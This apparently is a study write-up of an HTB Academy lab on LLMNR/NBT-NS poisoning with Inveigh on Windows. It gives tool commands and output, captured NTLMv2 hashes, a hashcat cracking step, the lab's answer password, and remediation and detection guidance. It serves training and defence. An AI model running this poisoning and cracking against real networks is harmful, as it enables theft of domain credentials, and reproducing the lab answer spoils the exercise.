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LLMNR/NBT-NS Poisoning from Windows

📋 Overview

LLMNR and NBT-NS poisoning attacks can also be performed from Windows hosts using Inveigh, a PowerShell and C# tool that functions similarly to Responder but is designed for Windows environments. This technique is particularly useful when you have compromised a Windows host or are provided with a Windows attack box.

🛠️ Inveigh Tool Overview

Inveigh is a Windows-based LLMNR/NBT-NS poisoning tool available in both PowerShell and C# versions:

📍 Key Features

  • Multi-Protocol Support: IPv4, IPv6, LLMNR, DNS, mDNS, NBNS, DHCPv6, ICMPv6
  • Service Poisoning: HTTP, HTTPS, SMB, LDAP, WebDAV, Proxy Auth
  • Interactive Console: Real-time hash viewing and management
  • File Output: Automatic logging of captured credentials
  • Stealth Options: Various configuration options for evasion

📂 Tool Locations

  • PowerShell Version: C:\Tools\Inveigh.ps1 (original, no longer updated)
  • C# Version: C:\Tools\Inveigh.exe (actively maintained)

🔧 PowerShell Inveigh

📥 Loading the Module

# Import Inveigh PowerShell module
Import-Module .\Inveigh.ps1

# View all available parameters
(Get-Command Invoke-Inveigh).Parameters

⚡ Basic Usage

# Start Inveigh with LLMNR and NBNS spoofing
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

📊 Example Output

[*] Inveigh 1.506 started at 2022-02-28T19:26:30
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.5.25
[+] Spoofer IP Address = 172.16.5.25
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer For Types 00,20 = Enabled
[+] NBNS TTL = 165 Seconds
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Enabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Tools
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output

🚀 C# Inveigh (InveighZero)

⚡ Basic Execution

# Run C# version with defaults
.\Inveigh.exe

📊 C# Output Example

[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276]
[+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[ ] DHCPv6
[+] DNS Packet Sniffer [Type A]
[ ] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[ ] MDNS
[ ] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[ ] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[ ] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Packet Sniffer [Port 445]
[+] File Output [C:\Tools]
[+] Previous Session Files (Not Found)
[*] Press ESC to enter/exit interactive console

🎯 Service Status Legend

  • [+] = Enabled by default
  • [ ] = Disabled by default

🖥️ Interactive Console

🔑 Accessing Console

Press ESC while Inveigh is running to enter interactive mode.

📋 Available Commands

=============================================== Inveigh Console Commands ===============================================

Command                           Description
========================================================================================================================
GET CONSOLE                     | get queued console output
GET DHCPv6Leases                | get DHCPv6 assigned IPv6 addresses
GET LOG                         | get log entries; add search string to filter results
GET NTLMV1                      | get captured NTLMv1 hashes; add search string to filter results
GET NTLMV2                      | get captured NTLMv2 hashes; add search string to filter results
GET NTLMV1UNIQUE                | get one captured NTLMv1 hash per user; add search string to filter results
GET NTLMV2UNIQUE                | get one captured NTLMv2 hash per user; add search string to filter results
GET NTLMV1USERNAMES             | get usernames and source IPs/hostnames for captured NTLMv1 hashes
GET NTLMV2USERNAMES             | get usernames and source IPs/hostnames for captured NTLMv2 hashes
GET CLEARTEXT                   | get captured cleartext credentials
GET CLEARTEXTUNIQUE             | get unique captured cleartext credentials
HISTORY                         | get command history
RESUME                          | resume real time console output
STOP                            | stop Inveigh

🏆 Viewing Captured Hashes

# View unique NTLMv2 hashes
GET NTLMV2UNIQUE

# View captured usernames
GET NTLMV2USERNAMES

📊 Example Hash Output

================================================= Unique NTLMv2 Hashes =================================================

backupagent::INLANEFREIGHT:B5013246091943D7:16A41B703C8D4F8F6AF75C47C3B50CB5:01010000000000001DBF1816222DD801DF80FE7D54E898EF0000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C00070008001DBF1816222DD8010600040002000000080030003000000000000000000000000030000004A1520CE1551E8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000

forend::INLANEFREIGHT:32FD89BD78804B04:DFEB0C724F3ECE90E42BAF061B78BFE2:010100000000000016010623222DD801B9083B0DCEE1D9520000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000700080016010623222DD8010600040002000000080030003000000000000000000000000030000004A1520CE1551E8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000

👥 Username Overview

=================================================== NTLMv2 Usernames ===================================================

IP Address                        Host                              Username                          Challenge
========================================================================================================================
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\backupagent       | B5013246091943D7
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\forend            | 32FD89BD78804B04
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\clusteragent      | 28BF08D82FA998E4
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\wley              | 277AC2ED022DB4F7
172.16.5.125                    | ACADEMY-EA-FILE                 | INLANEFREIGHT\svc_qualys        | 5F9BB670D23F23ED

🔒 Remediation

🚫 Disabling LLMNR

Method 1: Group Policy

  1. Navigate to: Computer Configuration → Administrative Templates → Network → DNS Client
  2. Enable: "Turn OFF Multicast Name Resolution"

🚫 Disabling NBT-NS

Method 1: Local Configuration

  1. Open Network and Sharing Center
  2. Click Change adapter settings
  3. Right-click adapter → Properties
  4. Select Internet Protocol Version 4 (TCP/IPv4) → Properties
  5. Click Advanced → WINS tab
  6. Select Disable NetBIOS over TCP/IP

Method 2: PowerShell Script (GPO)

# Script to disable NBT-NS via registry
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey | foreach { 
    Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose
}

GPO Deployment Steps:

  1. Create script in Computer Configuration → Windows Settings → Script (Startup/Shutdown) → Startup
  2. Choose PowerShell Scripts tab
  3. Set to Run Windows PowerShell scripts first
  4. Host script on SYSVOL: \\domain.local\SYSVOL\DOMAIN.LOCAL\scripts

🛡️ Additional Mitigations

  • Network Filtering: Block LLMNR/NetBIOS traffic
  • SMB Signing: Enable to prevent NTLM relay attacks
  • NIDS/NIPS: Deploy network intrusion detection systems
  • Network Segmentation: Isolate critical hosts

🔍 Detection

📊 Detection Methods

1. Honeypot Technique

  • Inject LLMNR/NBT-NS requests for non-existent hosts
  • Alert on any responses (indicates spoofing activity)

2. Network Monitoring

  • Monitor traffic on ports UDP 5355 and 137
  • Track unusual name resolution patterns

3. Event Log Monitoring

  • Monitor Event IDs: 4697 and 7045
  • Track new service installations

4. Registry Monitoring

  • Key: HKLM\Software\Policies\Microsoft\Windows NT\DNSClient
  • Monitor EnableMulticast DWORD value
  • Value of 0 = LLMNR disabled

🚨 IOCs (Indicators of Compromise)

  • Unusual LLMNR/NBT-NS response patterns
  • Multiple authentication failures from single IP
  • Unexpected SMB connections
  • Non-existent hostname resolution attempts

🎯 HTB Academy Lab Walkthrough

📝 Question

"Run Inveigh and capture the NTLMv2 hash for the svc_qualys account. Crack and submit the cleartext password as the answer."

🚀 Step-by-Step Solution

1️⃣ Connect to Target

# RDP to Windows attack box
xfreerdp /v:TARGET_IP /u:htb-student /p:Academy_student_AD!

2️⃣ Import and Start Inveigh

# Navigate to tools directory
cd C:\Tools

# Import PowerShell module
Import-Module .\Inveigh.ps1

# Start Inveigh with file output
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

3️⃣ Wait for Hash Capture (5+ minutes)

# Example captured hash output:
[+] [2022-06-17T23:13:10] SMB(445) NTLMv2 captured for INLANEFREIGHT\svc_qualys from 172.16.5.130(ACADEMY-EA-FILE):50370:
svc_qualys::INLANEFREIGHT:F9CAC827FD6ABFBF:4CF1F3B24BF1BF34D3ECC049D9FC7052:010100000000000086E60D7CDA82D801DFB87B40C430171C0000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000700080086E60D7CDA82D801060004000200000008003000300000000000000000000000003000006C04F59E654683B7ABEECE956F72B3A9164B0BD891DE9D612B30FF3E26D79F510A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000

4️⃣ Extract Hash from File

# Search for svc_qualys hash in output file
type .\Inveigh-NTLMv2.txt | Select-String -Pattern "svc_qualys"

# Copy to clipboard for transfer
type .\Inveigh-NTLMv2.txt | Select-String -Pattern "svc_qualys" | Clip

5️⃣ Transfer to Linux for Cracking

# Save hash to file
echo "svc_qualys::INLANEFREIGHT:F9CAC827FD6ABFBF:4CF1F3B24BF1BF34D3ECC049D9FC7052:010100000000000086E60D7CDA82D801DFB87B40C430171C0000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000700080086E60D7CDA82D801060004000200000008003000300000000000000000000000003000006C04F59E654683B7ABEECE956F72B3A9164B0BD891DE9D612B30FF3E26D79F510A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000" > svc_qualys_hash.txt

# Remove newline characters
perl -p -i -e 's/\R//g;' svc_qualys_hash.txt

6️⃣ Crack with Hashcat

# Crack NTLMv2 hash (mode 5600)
hashcat -m 5600 -w 3 -O svc_qualys_hash.txt /usr/share/wordlists/rockyou.txt

# Expected result: security#1

✅ Answer: security#1

🔑 Key Takeaways

✅ Advantages of Inveigh

  • Native Windows tool - blends with environment
  • Interactive console - real-time hash management
  • Multiple protocols - comprehensive attack coverage
  • File logging - persistent hash storage

⚠️ Considerations

  • Requires elevated privileges on Windows
  • May trigger AV detection (especially C# version)
  • Network noise - generates visible traffic
  • HTTP listener conflicts - check port availability

🎯 Best Practices

  • Use file output for hash persistence
  • Monitor console output for real-time feedback
  • Combine with BloodHound for target prioritization
  • Understand network topology before attacking

🔗 Additional Resources

This attack is effective when LLMNR/NBT-NS protocols are enabled and demonstrates the importance of proper network configuration and monitoring.